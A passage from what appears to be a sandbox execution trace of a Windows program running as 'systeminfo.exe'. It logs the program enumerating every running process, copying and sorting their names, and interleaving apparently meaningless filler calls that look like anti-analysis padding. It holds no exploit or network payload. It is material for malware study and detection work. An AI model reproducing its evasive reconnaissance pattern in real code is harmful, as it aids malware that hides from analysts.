lpString2="later_pet_handjobs.exe" | out: lpString1="later_pet_handjobs.exe") returned="later_pet_handjobs.exe" [0069.279] GetLastError () returned 0x0 [0069.279] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="instrumentationendorsementcivilizationcommentary.exe")) returned 1 [0069.280] GetLastError () returned 0x0 [0069.280] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E6BC2P") returned 7 [0069.280] SetLastError (dwErrCode=0x0) [0069.280] GetCurrentProcessId () returned 0x81c [0069.280] GetCurrentProcessId () returned 0x81c [0069.280] GetCurrentProcessId () returned 0x81c [0069.280] GetCurrentProcessId () returned 0x81c [0069.280] lstrcpyW (in: lpString1=0x33e36b4, lpString2="instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="instrumentationendorsementcivilizationcommentary.exe") returned="instrumentationendorsementcivilizationcommentary.exe" [0069.280] GetCurrentProcessId () returned 0x81c [0069.280] lstrlenA (lpString="just string") returned 11 [0069.280] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.280] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0069.280] GetLastError () returned 0x0 [0069.280] GetCurrentProcessId () returned 0x81c [0069.280] lstrlenA (lpString="just string") returned 11 [0069.280] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.281] lstrcpyW (in: lpString1=0x33e3a54, lpString2="literally.exe" | out: lpString1="literally.exe") returned="literally.exe" [0069.281] GetLastError () returned 0x0 [0069.281] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="dimensionalsubscriptions.exe")) returned 1 [0069.281] GetLastError () returned 0x0 [0069.281] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.281] SetLastError (dwErrCode=0x0) [0069.281] GetCurrentProcess () returned 0xffffffff [0069.281] GetLastError () returned 0x0 [0069.281] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E6BF2P") returned 7 [0069.281] SetLastError (dwErrCode=0x0) [0069.281] GetCurrentProcessId () returned 0x81c [0069.281] GetCurrentProcess () returned 0xffffffff [0069.281] GetLastError () returned 0x0 [0069.281] wsprintfA (in: param_1=0x3e0f3f3, param_2="%X%P" | out: param_1="6E6BF3P") returned 7 [0069.281] SetLastError (dwErrCode=0x0) [0069.281] GetCurrentProcessId () returned 0x81c [0069.281] GetCurrentProcessId () returned 0x81c [0069.281] GetLastError () returned 0x0 [0069.281] wsprintfA (in: param_1=0x3e0f3e3, param_2="%X%P" | out: param_1="6E6BF4P") returned 7 [0069.281] SetLastError (dwErrCode=0x0) [0069.281] GetCurrentProcessId () returned 0x81c [0069.281] lstrcpyW (in: lpString1=0x33e3c7c, lpString2="dimensionalsubscriptions.exe" | out: lpString1="dimensionalsubscriptions.exe") returned="dimensionalsubscriptions.exe" [0069.281] GetCurrentProcessId () returned 0x81c [0069.281] GetCurrentProcessId () returned 0x81c [0069.282] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaglesfilterscrimes.exe")) returned 1 [0069.282] GetCurrentProcessId () returned 0x81c [0069.282] lstrlenA (lpString="just string") returned 11 [0069.282] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.282] GetCurrentProcessId () returned 0x81c [0069.282] GetLastError () returned 0x0 [0069.282] lstrcpyW (in: lpString1=0x33e3ea4, lpString2="eaglesfilterscrimes.exe" | out: lpString1="eaglesfilterscrimes.exe") returned="eaglesfilterscrimes.exe" [0069.282] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="multimedia-channel-letter-standards.exe")) returned 1 [0069.283] GetLastError () returned 0x0 [0069.283] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.283] SetLastError (dwErrCode=0x0) [0069.283] GetCurrentProcess () returned 0xffffffff [0069.283] GetLastError () returned 0x0 [0069.283] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E6C1AP") returned 7 [0069.283] SetLastError (dwErrCode=0x0) [0069.283] GetCurrentProcessId () returned 0x81c [0069.283] GetCurrentProcess () returned 0xffffffff [0069.283] GetLastError () returned 0x0 [0069.283] wsprintfA (in: param_1=0x3e0f3f3, param_2="%X%P" | out: param_1="6E6C1BP") returned 7 [0069.283] SetLastError (dwErrCode=0x0) [0069.283] GetCurrentProcessId () returned 0x81c [0069.283] GetCurrentProcessId () returned 0x81c [0069.283] GetLastError () returned 0x0 [0069.283] wsprintfA (in: param_1=0x3e0f3e3, param_2="%X%P" | out: param_1="6E6C1CP") returned 7 [0069.283] SetLastError (dwErrCode=0x0) [0069.283] GetCurrentProcessId () returned 0x81c [0069.283] lstrcpyW (in: lpString1=0x33e40cc, lpString2="multimedia-channel-letter-standards.exe" | out: lpString1="multimedia-channel-letter-standards.exe") returned="multimedia-channel-letter-standards.exe" [0069.283] GetCurrentProcessId () returned 0x81c [0069.283] GetCurrentProcessId () returned 0x81c [0069.283] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysts-dose.exe")) returned 1 [0069.284] GetCurrentProcessId () returned 0x81c [0069.284] lstrlenA (lpString="just string") returned 11 [0069.284] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.284] GetCurrentProcessId () returned 0x81c [0069.284] GetLastError () returned 0x0 [0069.284] lstrcpyW (in: lpString1=0x33e42f4, lpString2="analysts-dose.exe" | out: lpString1="analysts-dose.exe") returned="analysts-dose.exe" [0069.284] GetLastError () returned 0x0 [0069.284] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E6C4EP") returned 7 [0069.284] SetLastError (dwErrCode=0x0) [0069.284] GetCurrentProcessId () returned 0x81c [0069.284] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufacturer-asset.exe")) returned 1 [0069.284] GetCurrentProcessId () returned 0x81c [0069.284] GetCurrentProcessId () returned 0x81c [0069.284] GetCurrentProcessId () returned 0x81c [0069.284] GetCurrentProcessId () returned 0x81c [0069.285] lstrcpyW (in: lpString1=0x33e451c, lpString2="manufacturer-asset.exe" | out: lpString1="manufacturer-asset.exe") returned="manufacturer-asset.exe" [0069.285] lstrlenA (lpString="just string") returned 11 [0069.285] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.285] GetLastError () returned 0x0 [0069.285] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x584, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0069.285] GetCurrentProcessId () returned 0x81c [0069.285] GetLastError () returned 0x0 [0069.285] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.285] SetLastError (dwErrCode=0x0) [0069.285] GetCurrentProcess () returned 0xffffffff [0069.285] GetLastError () returned 0x0 [0069.285] wsprintfA (in: param_1=0x3e0f3e3, param_2="%X%P" | out: param_1="6E6C92P") returned 7 [0069.285] SetLastError (dwErrCode=0x0) [0069.285] GetCurrentProcessId () returned 0x81c [0069.285] lstrcpyW (in: lpString1=0x33e4744, lpString2="WINWORD.EXE" | out: lpString1="WINWORD.EXE") returned="WINWORD.EXE" [0069.285] GetCurrentProcess () returned 0xffffffff [0069.285] GetLastError () returned 0x0 [0069.285] wsprintfA (in: param_1=0x3e0f3e7, param_2="%X%P" | out: param_1="6E6C93P") returned 7 [0069.285] SetLastError (dwErrCode=0x0) [0069.285] GetCurrentProcessId () returned 0x81c [0069.285] GetLastError () returned 0x0 [0069.285] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E6C94P") returned 7 [0069.285] SetLastError (dwErrCode=0x0) [0069.285] GetCurrentProcessId () returned 0x81c [0069.285] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.286] GetCurrentProcessId () returned 0x81c [0069.286] GetCurrentProcessId () returned 0x81c [0069.286] GetCurrentProcessId () returned 0x81c [0069.286] GetCurrentProcessId () returned 0x81c [0069.286] lstrlenA (lpString="just string") returned 11 [0069.286] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.286] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0069.287] GetLastError () returned 0x0 [0069.287] GetCurrentProcessId () returned 0x81c [0069.287] GetCurrentProcessId () returned 0x81c [0069.287] lstrcpyW (in: lpString1=0x33e496c, lpString2="OSPPSVC.EXE" | out: lpString1="OSPPSVC.EXE") returned="OSPPSVC.EXE" [0069.287] GetCurrentProcessId () returned 0x81c [0069.287] GetCurrentProcessId () returned 0x81c [0069.287] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xbfc, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 1 [0069.287] lstrlenA (lpString="just string") returned 11 [0069.287] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.287] GetLastError () returned 0x0 [0069.287] GetCurrentProcessId () returned 0x81c [0069.287] lstrcpyW (in: lpString1=0x33e4b94, lpString2="systeminfo.exe" | out: lpString1="systeminfo.exe") returned="systeminfo.exe" [0069.287] GetCurrentProcessId () returned 0x81c [0069.287] GetCurrentProcessId () returned 0x81c [0069.287] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0069.288] lstrlenA (lpString="just string") returned 11 [0069.288] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.288] GetLastError () returned 0x0 [0069.288] GetCurrentProcessId () returned 0x81c [0069.288] lstrcpyW (in: lpString1=0x33e4dbc, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0069.288] GetCurrentProcess () returned 0xffffffff [0069.288] GetLastError () returned 0x0 [0069.288] wsprintfA (in: param_1=0x3e0f3e7, param_2="%X%P" | out: param_1="6E6D29P") returned 7 [0069.288] SetLastError (dwErrCode=0x0) [0069.288] GetCurrentProcessId () returned 0x81c [0069.288] GetLastError () returned 0x0 [0069.288] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E6D2AP") returned 7 [0069.288] SetLastError (dwErrCode=0x0) [0069.288] GetCurrentProcessId () returned 0x81c [0069.288] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.289] GetCurrentProcessId () returned 0x81c [0069.289] GetCurrentProcessId () returned 0x81c [0069.289] GetCurrentProcessId () returned 0x81c [0069.289] GetCurrentProcessId () returned 0x81c [0069.289] lstrlenA (lpString="just string") returned 11 [0069.289] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.289] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x81c, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 1 [0069.291] GetLastError () returned 0x0 [0069.291] GetCurrentProcessId () returned 0x81c [0069.291] GetLastError () returned 0x0 [0069.291] lstrcmpA (lpString1="8", lpString2="luck") returned -1 [0069.291] SetLastError (dwErrCode=0x0) [0069.291] GetCurrentProcess () returned 0xffffffff [0069.291] GetLastError () returned 0x0 [0069.291] wsprintfA (in: param_1=0x3e0f3e7, param_2="%X%P" | out: param_1="6E6D50P") returned 7 [0069.291] SetLastError (dwErrCode=0x0) [0069.291] GetCurrentProcessId () returned 0x81c [0069.291] GetCurrentProcess () returned 0xffffffff [0069.291] GetLastError () returned 0x0 [0069.291] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E6D51P") returned 7 [0069.291] SetLastError (dwErrCode=0x0) [0069.291] GetCurrentProcessId () returned 0x81c [0069.291] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x81c, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 1 [0069.291] GetLastError () returned 0x0 [0069.292] wsprintfA (in: param_1=0x3e0f3ff, param_2="%X%P" | out: param_1="6E6D52P") returned 7 [0069.292] SetLastError (dwErrCode=0x0) [0069.292] GetCurrentProcessId () returned 0x81c [0069.292] GetCurrentProcessId () returned 0x81c [0069.292] GetCurrentProcessId () returned 0x81c [0069.292] GetCurrentProcessId () returned 0x81c [0069.292] GetCurrentProcessId () returned 0x81c [0069.292] Process32NextW (in: hSnapshot=0x3e8, lppe=0x3e0f490 | out: lppe=0x3e0f490*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x81c, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 0 [0069.292] CloseHandle (hObject=0x3e8) returned 1 [0069.292] lstrlenA (lpString="just string") returned 11 [0069.292] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.292] lstrlenW (lpString="sppsvc.exe") returned 10 [0069.292] lstrlenW (lpString="systeminfo.exe") returned 14 [0069.292] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0069.292] lstrlenW (lpString="WINWORD.EXE") returned 11 [0069.292] lstrlenW (lpString="manufacturer-asset.exe") returned 22 [0069.292] lstrlenW (lpString="analysts-dose.exe") returned 17 [0069.292] lstrlenW (lpString="multimedia-channel-letter-standards.exe") returned 39 [0069.292] lstrlenW (lpString="eaglesfilterscrimes.exe") returned 23 [0069.292] lstrlenW (lpString="dimensionalsubscriptions.exe") returned 28 [0069.292] lstrlenW (lpString="literally.exe") returned 13 [0069.292] lstrlenW (lpString="instrumentationendorsementcivilizationcommentary.exe") returned 52 [0069.292] lstrlenW (lpString="later_pet_handjobs.exe") returned 22 [0069.292] lstrlenW (lpString="diamond_hospitals_designs_www.exe") returned 33 [0069.292] lstrlenW (lpString="pagespresent.exe") returned 16 [0069.292] lstrlenW (lpString="located-purple-team.exe") returned 23 [0069.292] lstrlenW (lpString="pie.exe") returned 7 [0069.293] lstrlenW (lpString="cookie_cumulative_bennett_horse.exe") returned 35 [0069.293] lstrlenW (lpString="canvas.exe") returned 10 [0069.293] lstrlenW (lpString="cliff-filter.exe") returned 16 [0069.293] lstrlenW (lpString="routing.exe") returned 11 [0069.293] lstrlenW (lpString="ausarrivedrepresentative.exe") returned 28 [0069.293] lstrlenW (lpString="characters appointed birthday finally.exe") returned 41 [0069.293] lstrlenW (lpString="thumbnailsopen.exe") returned 18 [0069.293] lstrlenW (lpString="ones_pork_tommy_lb.exe") returned 22 [0069.293] lstrlenW (lpString="farehave.exe") returned 12 [0069.293] lstrlenW (lpString="los-talks-ooo-focusing.exe") returned 26 [0069.293] lstrlenW (lpString="efforts-extreme-quantity-reproductive.exe") returned 41 [0069.293] lstrlenW (lpString="turner_construction_solve_cialis.exe") returned 36 [0069.293] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0069.293] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0069.293] lstrlenW (lpString="taskeng.exe") returned 11 [0069.293] lstrlenW (lpString="explorer.exe") returned 12 [0069.293] lstrlenW (lpString="dwm.exe") returned 7 [0069.293] lstrlenW (lpString="taskhost.exe") returned 12 [0069.293] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0069.293] lstrlenW (lpString="spoolsv.exe") returned 11 [0069.293] lstrlenW (lpString="audiodg.exe") returned 11 [0069.293] lstrlenW (lpString="svchost.exe") returned 11 [0069.293] lstrlenW (lpString="lsm.exe") returned 7 [0069.293] lstrlenW (lpString="lsass.exe") returned 9 [0069.293] lstrlenW (lpString="services.exe") returned 12 [0069.293] lstrlenW (lpString="winlogon.exe") returned 12 [0069.293] lstrlenW (lpString="wininit.exe") returned 11 [0069.293] lstrlenW (lpString="csrss.exe") returned 9 [0069.293] lstrlenW (lpString="smss.exe") returned 8 [0069.293] lstrlenW (lpString="System") returned 6 [0069.293] lstrlenW (lpString="[System Process]") returned 16 [0069.293] lstrcmpiW (lpString1="sppsvc.exe", lpString2="systeminfo.exe") returned -1 [0069.293] lstrcpyW (in: lpString1=0x405f90, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0069.293] lstrlenW (lpString="sppsvc.exe") returned 10 [0069.293] lstrcmpiW (lpString1="systeminfo.exe", lpString2="systeminfo.exe") returned 0 [0069.293] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="systeminfo.exe") returned -1 [0069.293] lstrcpyW (in: lpString1=0x405fa6, lpString2="OSPPSVC.EXE" | out: lpString1="OSPPSVC.EXE") returned="OSPPSVC.EXE" [0069.293] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0069.293] lstrcmpiW (lpString1="WINWORD.EXE", lpString2="systeminfo.exe") returned 1 [0069.293] lstrcpyW (in: lpString1=0x405fbe, lpString2="WINWORD.EXE" | out: lpString1="WINWORD.EXE") returned="WINWORD.EXE" [0069.293] lstrlenW (lpString="WINWORD.EXE") returned 11 [0069.293] lstrcmpiW (lpString1="manufacturer-asset.exe", lpString2="systeminfo.exe") returned -1 [0069.293] lstrcpyW (in: lpString1=0x405fd6, lpString2="manufacturer-asset.exe" | out: lpString1="manufacturer-asset.exe") returned="manufacturer-asset.exe" [0069.293] lstrlenW (lpString="manufacturer-asset.exe") returned 22 [0069.293] lstrcmpiW (lpString1="analysts-dose.exe", lpString2="systeminfo.exe") returned -1 [0069.293] lstrcpyW (in: lpString1=0x406004, lpString2="analysts-dose.exe" | out: lpString1="analysts-dose.exe") returned="analysts-dose.exe" [0069.293] lstrlenW (lpString="analysts-dose.exe") returned 17 [0069.293] lstrcmpiW (lpString1="multimedia-channel-letter-standards.exe", lpString2="systeminfo.exe") returned -1 [0069.293] lstrcpyW (in: lpString1=0x406028, lpString2="multimedia-channel-letter-standards.exe" | out: lpString1="multimedia-channel-letter-standards.exe") returned="multimedia-channel-letter-standards.exe" [0069.293] lstrlenW (lpString="multimedia-channel-letter-standards.exe") returned 39 [0069.293] lstrcmpiW (lpString1="eaglesfilterscrimes.exe", lpString2="systeminfo.exe") returned -1 [0069.293] lstrcpyW (in: lpString1=0x406078, lpString2="eaglesfilterscrimes.exe" | out: lpString1="eaglesfilterscrimes.exe") returned="eaglesfilterscrimes.exe" [0069.293] lstrlenW (lpString="eaglesfilterscrimes.exe") returned 23 [0069.293] lstrcmpiW (lpString1="dimensionalsubscriptions.exe", lpString2="systeminfo.exe") returned -1 [0069.293] lstrcpyW (in: lpString1=0x4060a8, lpString2="dimensionalsubscriptions.exe" | out: lpString1="dimensionalsubscriptions.exe") returned="dimensionalsubscriptions.exe" [0069.293] lstrlenW (lpString="dimensionalsubscriptions.exe") returned 28 [0069.294] lstrcmpiW (lpString1="literally.exe", lpString2="systeminfo.exe") returned -1 [0069.294] lstrcpyW (in: lpString1=0x4060e2, lpString2="literally.exe" | out: lpString1="literally.exe") returned="literally.exe" [0069.294] lstrlenW (lpString="literally.exe") returned 13 [0069.294] lstrcmpiW (lpString1="instrumentationendorsementcivilizationcommentary.exe", lpString2="systeminfo.exe") returned -1 [0069.294] lstrcpyW (in: lpString1=0x4060fe, lpString2="instrumentationendorsementcivilizationcommentary.exe" | out: lpString1="instrumentationendorsementcivilizationcommentary.exe") returned="instrumentationendorsementcivilizationcommentary.exe" [0069.294] lstrlenW (lpString="instrumentationendorsementcivilizationcommentary.exe") returned 52 [0069.294] lstrcmpiW (lpString1="later_pet_handjobs.exe", lpString2="systeminfo.exe") returned -1 [0069.294] lstrcpyW (in: lpString1=0x406168, lpString2="later_pet_handjobs.exe" | out: lpString1="later_pet_handjobs.exe") returned="later_pet_handjobs.exe" [0069.294] lstrlenW (lpString="later_pet_handjobs.exe") returned 22 [0069.294] lstrcmpiW (lpString1="diamond_hospitals_designs_www.exe", lpString2="systeminfo.exe") returned -1 [0069.294] lstrcpyW (in: lpString1=0x406196, lpString2="diamond_hospitals_designs_www.exe" | out: lpString1="diamond_hospitals_designs_www.exe") returned="diamond_hospitals_designs_www.exe" [0069.294] lstrlenW (lpString="diamond_hospitals_designs_www.exe") returned 33 [0069.294] lstrcmpiW (lpString1="pagespresent.exe", lpString2="systeminfo.exe") returned -1 [0069.294] lstrcpyW (in: lpString1=0x4061da, lpString2="pagespresent.exe" | out: lpString1="pagespresent.exe") returned="pagespresent.exe" [0069.294] lstrlenW (lpString="pagespresent.exe") returned 16 [0069.294] lstrcmpiW (lpString1="located-purple-team.exe", lpString2="systeminfo.exe") returned -1 [0069.294] lstrcpyW (in: lpString1=0x4061fc, lpString2="located-purple-team.exe" | out: lpString1="located-purple-team.exe") returned="located-purple-team.exe" [0069.294] lstrlenW (lpString="located-purple-team.exe") returned 23 [0069.294] lstrcmpiW (lpString1="pie.exe", lpString2="systeminfo.exe") returned -1 [0069.294] lstrcpyW (in: lpString1=0x40622c, lpString2="pie.exe" | out: lpString1="pie.exe") returned="pie.exe" [0069.294] lstrlenW (lpString="pie.exe") returned 7 [0069.294] lstrcmpiW (lpString1="cookie_cumulative_bennett_horse.exe", lpString2="systeminfo.exe") returned -1 [0069.294] lstrcpyW (in: lpString1=0x40623c, lpString2="cookie_cumulative_bennett_horse.exe" | out: lpString1="cookie_cumulative_bennett_horse.exe") returned="cookie_cumulative_bennett_horse.exe" [0069.294] lstrlenW (lpString="cookie_cumulative_bennett_horse.exe") returned 35 [0069.295] lstrcmpiW (lpString1="canvas.exe", lpString2="systeminfo.exe") returned -1 [0069.295] lstrcpyW (in: lpString1=0x406284, lpString2="canvas.exe" | out: lpString1="canvas.exe") returned="canvas.exe" [0069.295] lstrlenW (lpString="canvas.exe") returned 10 [0069.295] lstrcmpiW (lpString1="cliff-filter.exe", lpString2="systeminfo.exe") returned -1 [0069.295] lstrcpyW (in: lpString1=0x40629a, lpString2="cliff-filter.exe" | out: lpString1="cliff-filter.exe") returned="cliff-filter.exe" [0069.295] lstrlenW (lpString="cliff-filter.exe") returned 16 [0069.295] lstrcmpiW (lpString1="routing.exe", lpString2="systeminfo.exe") returned -1 [0069.295] lstrcpyW (in: lpString1=0x4062bc, lpString2="routing.exe" | out: lpString1="routing.exe") returned="routing.exe" [0069.295] lstrlenW (lpString="routing.exe") returned 11 [0069.295] lstrcmpiW (lpString1="ausarrivedrepresentative.exe", lpString2="systeminfo.exe") returned -1 [0069.295] lstrcpyW (in: lpString1=0x4062d4, lpString2="ausarrivedrepresentative.exe" | out: lpString1="ausarrivedrepresentative.exe") returned="ausarrivedrepresentative.exe" [0069.295] lstrlenW (lpString="ausarrivedrepresentative.exe") returned 28 [0069.295] lstrcmpiW (lpString1="characters appointed birthday finally.exe", lpString2="systeminfo.exe") returned -1 [0069.295] lstrcpyW (in: lpString1=0x40630e, lpString2="characters appointed birthday finally.exe" | out: lpString1="characters appointed birthday finally.exe") returned="characters appointed birthday finally.exe" [0069.295] lstrlenW (lpString="characters appointed birthday finally.exe") returned 41 [0069.295] lstrcmpiW (lpString1="thumbnailsopen.exe", lpString2="systeminfo.exe") returned 1 [0069.295] lstrcpyW (in: lpString1=0x406362, lpString2="thumbnailsopen.exe" | out: lpString1="thumbnailsopen.exe") returned="thumbnailsopen.exe" [0069.295] lstrlenW (lpString="thumbnailsopen.exe") returned 18 [0069.295] lstrcmpiW (lpString1="ones_pork_tommy_lb.exe", lpString2="systeminfo.exe") returned -1 [0069.295] lstrcpyW (in: lpString1=0x406388, lpString2="ones_pork_tommy_lb.exe" | out: lpString1="ones_pork_tommy_lb.exe") returned="ones_pork_tommy_lb.exe" [0069.295] lstrlenW (lpString="ones_pork_tommy_lb.exe") returned 22 [0069.295] lstrcmpiW (lpString1="farehave.exe", lpString2="systeminfo.exe") returned -1 [0069.295] lstrcpyW (in: lpString1=0x4063b6, lpString2="farehave.exe" | out: lpString1="farehave.exe") returned="farehave.exe" [0069.295] lstrlenW (lpString="farehave.exe") returned 12 [0069.295] lstrcmpiW (lpString1="los-talks-ooo-focusing.exe", lpString2="systeminfo.exe") returned -1 [0069.295] lstrcpyW (in: lpString1=0x4063d0, lpString2="los-talks-ooo-focusing.exe" | out: lpString1="los-talks-ooo-focusing.exe") returned="los-talks-ooo-focusing.exe" [0069.295] lstrlenW (lpString="los-talks-ooo-focusing.exe") returned 26 [0069.295] lstrcmpiW (lpString1="efforts-extreme-quantity-reproductive.exe", lpString2="systeminfo.exe") returned -1 [0069.295] lstrcpyW (in: lpString1=0x406406, lpString2="efforts-extreme-quantity-reproductive.exe" | out: lpString1="efforts-extreme-quantity-reproductive.exe") returned="efforts-extreme-quantity-reproductive.exe" [0069.295] lstrlenW (lpString="efforts-extreme-quantity-reproductive.exe") returned 41 [0069.295] lstrcmpiW (lpString1="turner_construction_solve_cialis.exe", lpString2="systeminfo.exe") returned 1 [0069.295] lstrcpyW (in: lpString1=0x40645a, lpString2="turner_construction_solve_cialis.exe" | out: lpString1="turner_construction_solve_cialis.exe") returned="turner_construction_solve_cialis.exe" [0069.295] lstrlenW (lpString="turner_construction_solve_cialis.exe") returned 36 [0069.295] lstrcmpiW (lpString1="WmiPrvSE.exe", lpString2="systeminfo.exe") returned 1 [0069.295] lstrcpyW (in: lpString1=0x4064a4, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0069.295] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0069.295] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="systeminfo.exe") returned -1 [0069.295] lstrcpyW (in: lpString1=0x4064be, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0069.295] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0069.295] lstrcmpiW (lpString1="taskeng.exe", lpString2="systeminfo.exe") returned 1 [0069.295] lstrcpyW (in: lpString1=0x4064d8, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0069.295] lstrlenW (lpString="taskeng.exe") returned 11 [0069.295] lstrcmpiW (lpString1="explorer.exe", lpString2="systeminfo.exe") returned -1 [0069.295] lstrcpyW (in: lpString1=0x4064f0, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0069.295] lstrlenW (lpString="explorer.exe") returned 12 [0069.295] lstrcmpiW (lpString1="dwm.exe", lpString2="systeminfo.exe") returned -1 [0069.296] lstrcpyW (in: lpString1=0x40650a, 